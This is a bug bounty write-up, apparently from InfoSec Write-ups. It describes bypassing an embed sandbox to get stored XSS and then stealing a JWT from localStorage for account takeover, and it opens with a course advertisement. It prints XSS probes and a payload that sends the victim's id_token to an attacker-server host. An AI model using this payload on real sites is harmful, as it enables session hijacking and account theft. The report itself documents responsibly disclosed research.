Interesting Stored XSS in sandboxed environment to Full Account Takeover

Published in

InfoSec Write-ups

4 min readFeb 27, 2023

Hi readers 👋, Hope everyone of you doing well,

Before moving to the article content here is little announcement 📢,

In collaboration with TMG Security (tmgsec.com) we have successfully launched ADVANCED BUG BOUNTY HUNTING V1.0 ,its a live training program starting from 10th march 2023 ,you can checkout the provided link and description is provided in the website.

Course contains amazing content like this article and more with chaining vulnerabilities impacting to full account takeover and many more… as shown in attached image.

This is just a trailer of the course content 🤑.

Advanced bug bounty v1.0: https://courses.tmgsec.com/courses/advance-bug-bounty-hunting-v1-0/

This is my new writeup related to interesting Stored Cross Scripting where i was able to bypass sandbox restriction additionally i was able to bypass httponly enabled restriction.

Lets get started,

Little About Sandboxing??

Sandboxing is a technique in which you create an isolated test environment, a “sandbox,” in which to execute or “detonate” a suspicious file or URL that is attached to an email or otherwise reaches your network and then observe what happens. If the file or URL displays malicious behavior, then you’ve discovered a new threat. The sandbox must be a secure, virtual environment that accurately emulates the CPU of your production servers.

reference: https://buildyourfuture.withgoogle.com/programs/google-sandbox

let us consider the target be target.com

Found a Embed HTML feature

as you can see there are two features Embed URL and Embed HTML ,

First i tried using URL embed so i used ngrok to serve some payloads i tried for SSRF too like try for fetching internal server meta data like ec2,localhost in this case,but i didn’t succeeded for the ssrf so i moved on to xss.

i tried for lots of paylods like svg,xml,js etc.but got hit for just html and just got iframe injection which was not able to access target DOM .

you can see in below screenhost document.domain showing ngrok link not he target means the payload runs in context to ngrok not the target.

now i tried to embed simple payloads like

<img src=x onerror=prompt(1)> etc….

but the application refuses to run the payload due to the sandboxing.

you can see above screenshot showing sandbox blocking the payloads.

Now ,no issue if alert(),confirm(),print(),prompt() are blocked our aim is to access victim DOM ,then i tried to simply access the DOM elements using payloads like console.log(document.cookie) and it worked .

I quickly reported the issue to the team and they triaged the issue

But wait,there is some twist the main cookies (the sensitive one) in this case were JWT tokens are httponly set to true,means the cookies i was getting are just meta or non sensitive cookie.

and therefore the company gives p4 priority to the issue which means it still considered a low issue.

low issue

I took some time to chain it to full account takeover and finally i found additional flaw in the application i noticed the same sensitive token were stored in the localStorage as id_token parameter.

I confirmed using burpcollaborator and tried to hijack the localstorage sensitive token and it worked successfully.

using payload like:

document.location="https://attacker-server?victim_jwt_token"+document.localStorage.getItem("id_token")

document.location=”https://attacker-server?victim_jwt_token”+document.localStorage.getItem(“id_token”)

Then i confirmed account takeover and quickly added to comments in previous report and company confirm the reproduce the issue and team quickly updates the issue and increase the severity to p2.